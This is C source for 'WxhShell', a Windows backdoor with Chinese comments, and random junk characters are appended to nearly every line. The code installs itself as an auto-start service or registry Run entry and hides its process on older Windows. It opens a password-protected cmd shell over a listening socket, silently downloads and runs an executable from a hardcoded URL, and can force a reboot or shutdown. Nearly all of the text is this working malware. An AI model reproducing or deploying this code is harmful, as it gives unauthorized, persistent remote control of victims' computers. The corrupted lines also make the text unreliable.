    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #f]R:Ix>  
    if(Boot(SHUTDOWN)) gUDd2T#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GV)#>PL  
    else { e 1{t qNJ  
    closesocket(wsh); bj` cYL%  
    ExitThread(0); ]!H*oP8a*  
    } :j$K.3n  
    break; [ANit0-~  
    } #V-qS/ q"  
  // 获取shell 9,5v%HZ  
  case 's': { ri~dWx  
    CmdShell(wsh); `9Ngax=_  
    closesocket(wsh); mm%w0dOb"  
    ExitThread(0); {neE(0c  
    break; 9B Lz  
  } tjkY[  
  // 退出 *sf9(%j  
  case 'x': { `<y[V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o)n8,k&nm  
    CloseIt(wsh); "Ks%!  
    break; !Dkz6B*  
    } mh44  
  // 离开 7d/wT+f  
  case 'q': { n);2b\&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S|;a=K&hS  
    closesocket(wsh); _5M!ec  
    WSACleanup(); )?'sw5C  
    exit(1); ,)V*xpp  
    break; lsW.j#yE!  
        } S$%/9^\jF  
  } 6f 6_ztTL  
  } aGp <%d  
=pWpHbB.  
  // 提示信息 /0SG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3leg,q d  
} ^w2n  
  } Pb} &c  
`(;d+fof  
  return; A4';((OXy  
} V]H<:UE  
23+6u{   
// shell模块句柄 mUr@w*kq|p  
int CmdShell(SOCKET sock) P?n!fA>!  
{ O~d!* A  
STARTUPINFO si; psRm*,*O  
ZeroMemory(&si,sizeof(si)); y5a^xRDw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EN.yU!N.4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lGG1d  
PROCESS_INFORMATION ProcessInfo; HAo8]?J  
char cmdline[]="cmd"; U'-MMwE]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ThWZ>hyJ  
  return 0; ?O4Dhu  
} DJ} xD&G  
xx;'WL,g  
// 自身启动模式 6z%3l7#7Yi  
int StartFromService(void) %n}fkj'  
{ { KwLcSn  
typedef struct /7S]%UY  
{  +KFK..  
  DWORD ExitStatus;  aSHZR  
  DWORD PebBaseAddress; y#AY+ >  
  DWORD AffinityMask; U YUIpe  
  DWORD BasePriority; .NjdkHYR  
  ULONG UniqueProcessId; ec1g7w-n  
  ULONG InheritedFromUniqueProcessId;  4EB$e?  
}   PROCESS_BASIC_INFORMATION; .[cT3l/t  
Zz?+,-$_*&  
PROCNTQSIP NtQueryInformationProcess; }WI24|`zM  
86%weU/*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7M;Y#=sR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }r^MXv~(  
~w]1QHA'f  
  HANDLE             hProcess; ,eUMSg~P.7  
  PROCESS_BASIC_INFORMATION pbi; vo7 1T<K  
fil6w</L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <S$y=>.9  
  if(NULL == hInst ) return 0; w5n>hz_5  
8QC:ro  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w5|@vB/pj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '2[ _U&e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^"buF\3L  
Bl`e+&b  
  if (!NtQueryInformationProcess) return 0; 6w1:3~a  
Kyl(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dje3&a  
  if(!hProcess) return 0; )0}obPp  
LiV]!*9$KG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >^InNJd  
<Isr  
  CloseHandle(hProcess); y Fp1@*ef  
Ds}6{']K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Wnf`Rf)1z  
if(hProcess==NULL) return 0; |=%$7b\C  
a}>GQu*y  
HMODULE hMod; t&r?O dc&m  
char procName[255]; |um)vlN;9  
unsigned long cbNeeded; vN4X%^:(  
7gQt k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r1?LKoJOn  
A{+ZXu}  
  CloseHandle(hProcess); m9e$ZZG$  
#='#`5_5  
if(strstr(procName,"services")) return 1; // 以服务启动 pu>LC6m3a  
~Q%QA._R?  
  return 0; // 注册表启动 R*&3i$S  
} ;QE Gr|(  
-5>g 0o2  
// 主模块 T@vVff  
int StartWxhshell(LPSTR lpCmdLine) uo%O\} #u9  
{ Q  o=  
  SOCKET wsl; t]&n_]`{.  
BOOL val=TRUE; ^9{ 2  
  int port=0; KPO((G0&  
  struct sockaddr_in door; lJYv2EZ  
\uPT-M*  
  if(wscfg.ws_autoins) Install(); H+ M ~|Ju7  
Ppp&3h[dW)  
port=atoi(lpCmdLine); &Y#9~$V=  
O-'T*M>  
if(port<=0) port=wscfg.ws_port; D 3HB`{  
>=Rb:#UM  
  WSADATA data; 7olA@;$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DHJnz>bE  
4PF4#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <s{/ka3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #{ ?oUg>$  
  door.sin_family = AF_INET; _|Dt6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !EW]: u  
  door.sin_port = htons(port); oNh .Zgg  
R1m18GHQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c`jTdVD  
closesocket(wsl); :8QG$Ua1  
return 1; H{$yy)@F  
} "1nd~ BBOw  
j68Gz5;j  
  if(listen(wsl,2) == INVALID_SOCKET) { hs*:!&E  
closesocket(wsl); /kWWwy<  
return 1; < 1r.p<s  
} r-0 7!A  
  Wxhshell(wsl); ){(cRB$  
  WSACleanup(); Ud9\;Qse  
]E3g8?L  
return 0; ;kFp)*i  
23fAc"@ B  
} SwL\=nq+~  
EXi+pm  
// 以NT服务方式启动 q_K1L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2>r.[  
{ @6Mo_4)O  
DWORD   status = 0; r\1*N.O3|O  
  DWORD   specificError = 0xfffffff; tw(2V$J  
%B?5l^W@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x$p\ocA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J+4uUf/d!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q:LuRE!t  
  serviceStatus.dwWin32ExitCode     = 0; Umd!j,  
  serviceStatus.dwServiceSpecificExitCode = 0; S:j0&*  
  serviceStatus.dwCheckPoint       = 0; *Xo f;)Z^  
  serviceStatus.dwWaitHint       = 0; ";xEuX  
A y`a>:p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IpP0|:}  
  if (hServiceStatusHandle==0) return; d^Wh-U  
bpILiC  
status = GetLastError(); N?Z?g_a8  
  if (status!=NO_ERROR) !6%mt}h  
{ %In"Kh*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u`~{:V  
    serviceStatus.dwCheckPoint       = 0; GhT7:_r~  
    serviceStatus.dwWaitHint       = 0; th<]L<BP/  
    serviceStatus.dwWin32ExitCode     = status; CNz[@6-cYU  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;wF|.^_2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yUG5'<lX  
    return; $5o<Mj  
  } D0P% .r"v  
9%wppNT/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q8lK6p\:W  
  serviceStatus.dwCheckPoint       = 0; utE:HD.PN  
  serviceStatus.dwWaitHint       = 0; 5 6R,+sN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EpfmH `  
} GwycSb1  
M}<=~/k`j  
// 处理NT服务事件,比如:启动、停止 +u2Co_FJ&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;n@C(hG  
{ h.^DRR^S  
switch(fdwControl) mc=*wr$  
{ buFtLPe  
case SERVICE_CONTROL_STOP: /%c^ i!=f"  
  serviceStatus.dwWin32ExitCode = 0; n\YxRs7 hF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `3KprpE8v  
  serviceStatus.dwCheckPoint   = 0; L_r & 'B  
  serviceStatus.dwWaitHint     = 0; CvJm7c  
  { ZL>V9UWN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :&%;s*-9  
  } #Q"vwek  
  return; Gpu?z- )  
case SERVICE_CONTROL_PAUSE: g2]-Q.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O /&%`&2  
  break; a< EC]-nw  
case SERVICE_CONTROL_CONTINUE: Uu+C<j&-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 75HL  
  break; f0s &9H  
case SERVICE_CONTROL_INTERROGATE: EHHxCq?  
  break; H^g<`XEgw  
}; C] w< &o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6~S0t1/t?  
} ihWz/qx&q  
 R'/wOE2  
// 标准应用程序主函数 )8SP$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {+:XVT_+  
{ &>{>k<z  
sdWl5 "  
// 获取操作系统版本 ar|[D7Xrq\  
OsIsNt=GetOsVer(); \gkajY-?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dWy1=UQfP  
Z]f2&  
  // 从命令行安装 L'Zud,JKg  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3c3Z"JV  
3Y-v1.^j  
  // 下载执行文件 H~i],WD  
if(wscfg.ws_downexe) { E2IVR]C2^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q1Sm#_7  
  WinExec(wscfg.ws_filenam,SW_HIDE); }D+8K  
} zf~zYZSr  
t] wM_]+  
if(!OsIsNt) { m-RY{DO+  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ji[g@#  
HideProc(); &*aU2{,s,;  
StartWxhshell(lpCmdLine); T6$<o\g'  
} cloI 6%5r  
else ~PnpYd<2  
  if(StartFromService()) EC'bgFe  
  // 以服务方式启动 0Q>|s_  
  StartServiceCtrlDispatcher(DispatchTable); E+zn\v  
else 1,QZnF!.x  
  // 普通方式启动 z-5#bOABW  
  StartWxhshell(lpCmdLine); 0)5Sx /5'  
17)M.(qmuP  
return 0; 5-HJ&Q  
} ]F;]<_  
2hJ3m+N^  
,~xU>L^  
"}p?pF<'0  
=========================================== --`LP[ll  
%}X MhWn{  
k+$4?/A  
8 -;ZPhN&  
3gy;$}Lq T  
NRSse"  
" QV$dKjMS  
B5HdC%8/}  
#include <stdio.h> vXyo  
#include <string.h> :QV6 z*#zD  
#include <windows.h> uk  f\*  
#include <winsock2.h> ]a#]3(o]}  
#include <winsvc.h> FM"BTA:C  
#include <urlmon.h> ~#_$?_/(  
lMez!qx,=  
#pragma comment (lib, "Ws2_32.lib") 5,BkwAr+6[  
#pragma comment (lib, "urlmon.lib") y=xe<#L  
g/Jj]X#r  
#define MAX_USER   100 // 最大客户端连接数 cGta4;  
#define BUF_SOCK   200 // sock buffer IQ=|Kj9h  
#define KEY_BUFF   255 // 输入 buffer ,7jiHF  
"!6~*!]c  
#define REBOOT     0   // 重启 Y0O<]2yVx  
#define SHUTDOWN   1   // 关机 y~c[sW   
ptyDv  
#define DEF_PORT   5000 // 监听端口 h) PB  
o!r4 frP  
#define REG_LEN     16   // 注册表键长度 BON""yIC   
#define SVC_LEN     80   // NT服务名长度 !9LAXM  
Y~hd<8 ~  
// 从dll定义API -^Km}9g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \w[ZY$/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z?c=t-yqp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X1[R*a/p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JS?l?~  
[pgkY!R?)  
// wxhshell配置信息 OXX(OCG>  
struct WSCFG { 7TPLVa=hO  
  int ws_port;         // 监听端口 a~>0JmM+N  
  char ws_passstr[REG_LEN]; // 口令 Bj($_2M%+  
  int ws_autoins;       // 安装标记, 1=yes 0=no u|>U`[Zpj  
  char ws_regname[REG_LEN]; // 注册表键名 [I<'E LX  
  char ws_svcname[REG_LEN]; // 服务名 MQH8Q$5D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O\F^@;] F6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0*IY%=i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :'rZZeb'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bA^: p3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [-Tt11  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %802H%+  
YZ:'8<  
}; m\Fb ,  
wQrPS  
// default Wxhshell configuration Xa%&.&V  
struct WSCFG wscfg={DEF_PORT,  ~uZLe\>K  
    "xuhuanlingzhe", VfC[U)w*vm  
    1, .y_bV=  
    "Wxhshell", $CwTNm?  
    "Wxhshell", d>b,aj(  
            "WxhShell Service", NT9- j#V  
    "Wrsky Windows CmdShell Service", !na0Y  
    "Please Input Your Password: ", hOLy*%  
  1, MN M>  
  "http://www.wrsky.com/wxhshell.exe", vua1iN1  
  "Wxhshell.exe" CE7pg&dJ)i  
    }; e9hVX[uq  
6dR-HhF  
// 消息定义模块 m>-^ K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u3i| }`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "ko?att~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M3;v3 }z<-  
char *msg_ws_ext="\n\rExit."; ? ]:EmP  
char *msg_ws_end="\n\rQuit."; g yH7((#i  
char *msg_ws_boot="\n\rReboot..."; sEJ;t0.LX  
char *msg_ws_poff="\n\rShutdown..."; - Zoo)  
char *msg_ws_down="\n\rSave to "; y7IbE   
(zro7gKked  
char *msg_ws_err="\n\rErr!"; ?r'TH/>  
char *msg_ws_ok="\n\rOK!"; (VXx G/E3  
-k[tFBl w  
char ExeFile[MAX_PATH]; e5>5/l]jsg  
int nUser = 0; v6DxxE2n  
HANDLE handles[MAX_USER]; U>B5LU9&  
int OsIsNt; k5%0wHpk=  
MV;Y?%>  
SERVICE_STATUS       serviceStatus; GKsL~;8"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )bCG]OM7<  
Rw ao5l=x  
// 函数声明 N" Jtg@w  
int Install(void); > ?{iv1  
int Uninstall(void); XG\a-dq[  
int DownloadFile(char *sURL, SOCKET wsh); Vh.;p.!e  
int Boot(int flag); OxHw1k  
void HideProc(void); Yx}"> ;\  
int GetOsVer(void); EBDC'^  
int Wxhshell(SOCKET wsl); $7gB&T.x  
void TalkWithClient(void *cs); vLK\X$4  
int CmdShell(SOCKET sock); ;]oXEq`  
int StartFromService(void); EO 9kE.g  
int StartWxhshell(LPSTR lpCmdLine); HSr"M.k5  
Aiks>Cyi23  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~ut& U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ug6f   
tp0!,ne*  
// 数据结构和表定义 e"s{_V  
SERVICE_TABLE_ENTRY DispatchTable[] = j zmSFKg*  
{ \`Ph=lJO  
{wscfg.ws_svcname, NTServiceMain}, 6aF'^6+a  
{NULL, NULL} qvfAG 0p  
}; ekl? K~  
({H+ y 9n  
// 自我安装 ^~r&}l4c,  
int Install(void) qJFgbq4-  
{ <GT>s  
  char svExeFile[MAX_PATH]; cxP9n8CuT  
  HKEY key; mb~=Xyk&  
  strcpy(svExeFile,ExeFile); z^a!C#IX  
),y!<\oQ  
// 如果是win9x系统,修改注册表设为自启动 rm)SfT<  
if(!OsIsNt) { Nvx)H(8F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mcz(,u}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c2\rjK   
  RegCloseKey(key); &t*8oNwSs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TH(Lzrbg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x(3 I?#kE  
  RegCloseKey(key); x,w`OMQ}c  
  return 0; =FD`A#\C~  
    } ReB(T7Vk=  
  } 4Fr7jD,#k  
}  $`XN  
else { FG;<`4mY  
B=Zukg1G  
// 如果是NT以上系统,安装为系统服务 hV>4D&<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @cS1w'=  
if (schSCManager!=0) sx-Hw4.a"  
{ I"F .%re  
  SC_HANDLE schService = CreateService -M>K4*%K  
  ( 5}d/8tS  
  schSCManager, SN[L4}{  
  wscfg.ws_svcname, '!yS72{$2  
  wscfg.ws_svcdisp, g@k#J"Q '[  
  SERVICE_ALL_ACCESS, ,2 g M-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]4 K1%ZV  
  SERVICE_AUTO_START, .n)!ZN  
  SERVICE_ERROR_NORMAL, az \<sWb#  
  svExeFile, :uIi ?  
  NULL, &Xn8oe  
  NULL, V'Z&>6Z  
  NULL, 68J 9T^84  
  NULL, /XW&q)z-Hl  
  NULL 8=n9hLhqo  
  ); lZS_n9Sc  
  if (schService!=0) +C'TW^  
  { {#w A !>.  
  CloseServiceHandle(schService); 6m-:F.k1(  
  CloseServiceHandle(schSCManager); rt3f7 s*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f- k|w%R@  
  strcat(svExeFile,wscfg.ws_svcname); { /F rs*AF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Mf ;|z0UX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'd2qa`H'}B  
  RegCloseKey(key); } :RT,<  
  return 0; %EJ\|@N:  
    } pT3X/ ra  
  } !Ig|m+  
  CloseServiceHandle(schSCManager); ##EB; Y  
} v ]/OAH6D  
} nL":0!DTRD  
!y qa?\v9  
return 1; mX<Fuu}E*Z  
} AK@`'$  
m{b ZRkt  
// 自我卸载 DD/>{kff  
int Uninstall(void) _4.]A 3;}  
{ >op:0on]}  
  HKEY key; c|\ZRBdI  
\uU=O )  
if(!OsIsNt) { (b/A|hl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .)"_Q/q  
  RegDeleteValue(key,wscfg.ws_regname); ;0w^ud  
  RegCloseKey(key); rP^TN^bd|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2qs>Bshf  
  RegDeleteValue(key,wscfg.ws_regname); 7xv4E<r2  
  RegCloseKey(key); ,]PyDq6  
  return 0; i}/e}s<-6  
  } -y&v9OC2-  
} &dhcKO<4  
} %Y cxC0S[  
else { kf%&d}2to  
9 3W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .N~PHyXZR  
if (schSCManager!=0) .>mH]/]m  
{ ]>R`;"(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JmU<y  
  if (schService!=0) g.B%#bfg  
  { e/"yGQu  
  if(DeleteService(schService)!=0) { X q}Ucpj  
  CloseServiceHandle(schService); HE#,(;1i  
  CloseServiceHandle(schSCManager); 7BL |x  
  return 0; Q00R<hu@F  
  } uipq=Yp.  
  CloseServiceHandle(schService); Usa+b A  
  } jOUK]>ox:  
  CloseServiceHandle(schSCManager); csH2_+uG  
} ?muDTD%c  
} [[R7~.;  
!dU9sB2  
return 1; ]pW86L%  
} O1GDugZ  
~L- 0~  
// 从指定url下载文件 A}t%;V2  
int DownloadFile(char *sURL, SOCKET wsh) NFk}3w:  
{ )E'Fke  
  HRESULT hr; $& cz$jyY  
char seps[]= "/"; :J^qjAV  
char *token; :ozV3`%$(  
char *file; S~KS9E~\  
char myURL[MAX_PATH]; a q3~!T;W  
char myFILE[MAX_PATH]; yXJ]U \ %  
2 \^G['9  
strcpy(myURL,sURL); @ Ii-NmOr  
  token=strtok(myURL,seps); HXQ e\r  
  while(token!=NULL) `I5O4|K)  
  { Tbv/wJ  
    file=token; ShQ|{P9  
  token=strtok(NULL,seps); ]dvPx^`d{  
  } "-w ^D!C  
rRB~=J"  
GetCurrentDirectory(MAX_PATH,myFILE); \HAJ\9*w)  
strcat(myFILE, "\\"); sX+`wc  
strcat(myFILE, file); T4mv%zzS  
  send(wsh,myFILE,strlen(myFILE),0); q@(1Yivk  
send(wsh,"...",3,0); q[7CPE0n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9<yAQ?7 L  
  if(hr==S_OK) rh@r\ H@j  
return 0; "jMqt9ysN  
else JnfqXbE  
return 1; _ Yfmxn8V  
3Jk[/ .h  
} H&M1>JtE  
|xn#\epy@  
// 系统电源模块 G6ayMw]OF  
int Boot(int flag) LO)GTyzvJ  
{ {Fbg]'FQ  
  HANDLE hToken; ]eE 1n2  
  TOKEN_PRIVILEGES tkp; ]kx-,M(  
P0^c?s"I  
  if(OsIsNt) { 8{dEpV*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }91*4@B7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AXs=1  e  
    tkp.PrivilegeCount = 1; 5iVQc-m&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $9 K(F~/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pz{'1\_+9  
if(flag==REBOOT) { )zU:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +R!zs  
  return 0; ~g6"'Cya?k  
} e}c&LDgU  
else { `ncNEHh7K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \)OEBN`9#  
  return 0; !xu9+{-  
} cFK @3a  
  } av-#)E  
  else { bNGCOj  
if(flag==REBOOT) { w5`#q&?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CEuWw:)  
  return 0; J! {Al  
} mzX;s&N#  
else { 'BY-OA#xJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?~J i-{#X  
  return 0; l<(cd,  
} >!L&>OOx  
} k;k}qq`d  
8-m 3e  
return 1; ldGojnS  
} W^es;5  
VPt9QL(  
// win9x进程隐藏模块 4:7mK/Z  
void HideProc(void) yEq#Dr  
{ *^] ~RhjB  
Tzzq#z&F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {CtR+4KD  
  if ( hKernel != NULL ) d|XmasGN  
  { "xe=N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Mo D?2J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v!9i"@<!  
    FreeLibrary(hKernel); D8%AV; -Y  
  } qi(*ty  
7{e=="#*  
return; qj!eLA-aD  
} WNs}sNSf  
X8i(~ B  
// 获取操作系统版本 5+- I5HX|~  
int GetOsVer(void) hN3u@P^  
{ y7: tr  
  OSVERSIONINFO winfo; 7G<t"'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y+9h~,:A  
  GetVersionEx(&winfo); w\Mnu}<e$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;#1Iiuh  
  return 1; 6BocGo({  
  else tu0aD%C  
  return 0; \}5p0.=  
} G,XPT,:%  
6?qDdVR~]  
// 客户端句柄模块 #DFV=:|~  
int Wxhshell(SOCKET wsl) 9M a0^_  
{ rv>^TR*,!  
  SOCKET wsh; oFDz;6  
  struct sockaddr_in client; gd7^3q[$h  
  DWORD myID; t{dSX?<nt  
AQss4[\Dx  
  while(nUser<MAX_USER) } fZ`IOf  
{ I7n3xN&4"  
  int nSize=sizeof(client); krB'9r<wa`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~6aCfbu%V  
  if(wsh==INVALID_SOCKET) return 1; ,+`HQdq  
rY0u|8.5Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -F\qnsZ2  
if(handles[nUser]==0) %0,-.(h  
  closesocket(wsh); 2-'Opu  
else Wht(O~F  
  nUser++; ;@3FF  
  } F S"eM"z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a.@qGsIH  
:7g=b%;  
  return 0; T6#CK  
} 80pid[F  
F'JY?  
// 关闭 socket eq[Et +  
void CloseIt(SOCKET wsh) XL$* _c <)  
{ O(z}H}Fv  
closesocket(wsh); cXnKCzSxZq  
nUser--; -|S]oJy  
ExitThread(0); LD>\#q8a*  
} &fOdlQ?  
yxt[= C  
// 客户端请求句柄 yX!HZu;j  
void TalkWithClient(void *cs) C&~1M}I  
{ <7_KeOLJ  
?GA&f2]a  
  SOCKET wsh=(SOCKET)cs; ORN6vX(1  
  char pwd[SVC_LEN]; "LhvzM-<8  
  char cmd[KEY_BUFF]; ziE*'p  
char chr[1]; L';MP^  
int i,j; Y&HK1>M_  
o%E;3l  
  while (nUser < MAX_USER) { Hr<o!e{Y  
px;/8c-  
if(wscfg.ws_passstr) { U]|agz>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R\|lt)h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n5-)/R[z  
  //ZeroMemory(pwd,KEY_BUFF); %dST6$Z  
      i=0; *?ITns W<  
  while(i<SVC_LEN) { ao" %WX  
Sh6JF574T  
  // 设置超时 :1ecx$  
  fd_set FdRead; :}:3i9e*2  
  struct timeval TimeOut; ;%C'FV e]  
  FD_ZERO(&FdRead); v``-F(i$  
  FD_SET(wsh,&FdRead); )E#2J$TD  
  TimeOut.tv_sec=8; oR1^/e  
  TimeOut.tv_usec=0; 5yZTcS z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z?P~z07  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nl aM  
lv&mp0V+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  +=q)  
  pwd=chr[0]; YgUH'P-  
  if(chr[0]==0xd || chr[0]==0xa) { *l+OlQI0+  
  pwd=0; B/JO~;{  
  break; -t2T(ha  
  } 7dG 79H  
  i++; *OJ/V O  
    } H5CR'Rp  
Kv'n:z7Md  
  // 如果是非法用户,关闭 socket g>rp@M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l%ayI  
} oX@ya3!Pz  
)tHaB,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kum#^^4G|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^N}Wnk7ks'  
&3F}6W6A  
while(1) { OO dSKf8  
L4u;|-znw  
  ZeroMemory(cmd,KEY_BUFF); {5r0v#;  
DZ7 gcC  
      // 自动支持客户端 telnet标准   .d;Iht,[  
  j=0; $ ,SF@BhO  
  while(j<KEY_BUFF) { {GDmVWG0q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mR\`DltoV  
  cmd[j]=chr[0]; :F,O  
  if(chr[0]==0xa || chr[0]==0xd) { FWue;pw3  
  cmd[j]=0; SzwQOs*  
  break; s>k Uh  
  } 7|\@zQ h   
  j++; I:bD~F b3  
    } vu!d)Fy  
QxuhGA  
  // 下载文件 p.I.iAk%G^  
  if(strstr(cmd,"http://")) { 7(M(7}EKA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eI.2`)>  
  if(DownloadFile(cmd,wsh)) $Nrm!/)*'}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HoV^Y6  
  else d)cOhZy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EN{]Qb06A  
  } ~R$~&x(b  
  else { =S'%`]f?  
YprH wL  
